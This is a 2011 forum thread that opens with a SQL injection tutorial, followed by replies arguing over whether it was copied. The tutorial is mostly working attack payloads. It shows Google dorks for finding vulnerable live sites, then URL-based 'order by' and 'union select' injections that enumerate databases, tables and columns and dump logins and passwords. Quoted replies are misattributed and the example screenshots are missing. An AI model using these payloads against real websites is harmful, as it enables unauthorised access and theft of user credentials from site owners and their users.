[join7]

SQL injection Tutorial

1. Finding vulnerable sites
   
2. Finding amount of columns
   
3. Getting mysql version current user
   
4. Getting Databases
   
5. Getting Tables
   
6. Getting Columns
   
7. Getting Usernames and Passwords
   

1. Finding vulnerable sites

To find Vulnerable sites you are going to use Google Dorks.
Some common dorks are:

Code:

inurl:index.php?id= inurl:news.php?id= inurl:category.php?id= inurl:games.php?id= inurl:forum.php?tid= inurl:newsletter.php?id= inurl:content.php?id=

You can read my tutorial on how to use SQL injection scanner called "SQL Poizon":

http://www.hackforums.net/showthread.php?tid=1124572

lets say you got this site:

Code:

http://site.com/news/view.php?id=828

if we add a ' before or after the numbers it should look something like this if its vulnerable:

2. Finding amount of columns

To find the right amound of columns we are using "order by". here is how it works:

Code:

http://site.com/news/view.php?id=828 order by 1-- (page loads normal) http://site.com/news/view.php?id=828 order by 2-- (page loads normal) http://site.com/news/view.php?id=828 order by 3-- (page loads normal) http://site.com/news/view.php?id=828 order by 4-- (page loads normal) http://site.com/news/view.php?id=828 order by 5-- (page loads normal) http://site.com/news/view.php?id=828 order by 6-- (page loads normal) http://site.com/news/view.php?id=828 order by 7-- (page loads normal) http://site.com/news/view.php?id=828 order by 8-- (page loads normal) http://site.com/news/view.php?id=828 order by 9-- (error)

This means or site has 8 columns and we will now move over to "union select".

This is how it works:

Code:

http://site.com/news/view.php?id=-828 union select 1,2,3,4,5,6,7,8--

Note the hyphen - before the numbers!

This should make the website to show some numbers on the screen like this:



This meens its absolutly sure that the site is vulnerable to sql injection.

3. Getting MySQL version and Current User

Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).

Code:

http://site.com/news/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8--

To get the Current user you type this:

Code:

http://site.com/news/view.php?id=-828 union select 1,2,user(),4,5,6,7,8--

This should display:

4. Getting Databases

Now we wanna find the databases and the Current database.
Here the syntax for all databases:

Code:

http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7,8 from+information_schema.schemata--

It should displays something like this:



Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.

Syntax for current database:

Code:

http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,database(),4,5,6,7,8

This should display something like this:

5. Getting Tables

Now we want to know the tables on in the database and for this we will conintue using "union select".

Here is the code:

Code:

http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--

This should display something like this:



We now know that the table that passwords should be stored in are called bpusers, write it down and move on.

6. Getting Columns

Now we want to know the columns.

Here is the code:

Code:

http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()--

This should display something like this:

7. Dumping users/pass

Now you would like to dump logins and passwords from bpusers.

Here is the code for thath:

Code:

http://site.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers--

This would display something like this:



(NOTE: 0x3a will make a : between logins and passwords.)

You have now performed a SQL injection attack.

I have worked hard on this, please don't leech it.

If you do, give credits to me.

© Copyright Join7 2011

[1234hotmaster]

nice guide

another SQLI guide straight to HC basket ^.^

[Coder-san]

Looks original to me. Oldest Topic with same words is the one in HF by Op.

[join7]

no offense but you copy pasted awfully. plus there is the original thread which other site's copied from too.

http://www.hackcommunity.com/Thread-My-S...e-tutorial

excuse me?

This is no copy-paste.

[1234hotmaster]

sorry my bad cause i thought this was one of those leeched pages since 90% of SQLI tut's are copy pasted


http://www.hackforums.net/archive/index....48283.html

[join7]

sorry my bad cause i thought this was one of those leeched pages since 90% of SQLI tut's are copy pasted


http://www.skidforums.net/archive/index....48283.html

No problem

Anyway hope you like the tutorial

[V1P3R]

sorry my bad cause i thought this was one of those leeched pages since 90% of SQLI tut's are copy pasted


http://www.skidforums.net/archive/index....48283.html

well mine isnt

[alec]

Thanks for the tutorial and I hope to be able to try it out on some sites and report it to their webmasters so they can patch things up (whitehat ftw).

[join7]

Nice tut, but I think this not yours because I saw exaacly the same on another website and I know the one who done this tut.

If you saw it on another site that wouldnt be too strange, but I can promise you, it is me who done this tutorial. PM me if you want more proof.

[Liyan Oz]

good... it's the next sqli in HC best tutorial :d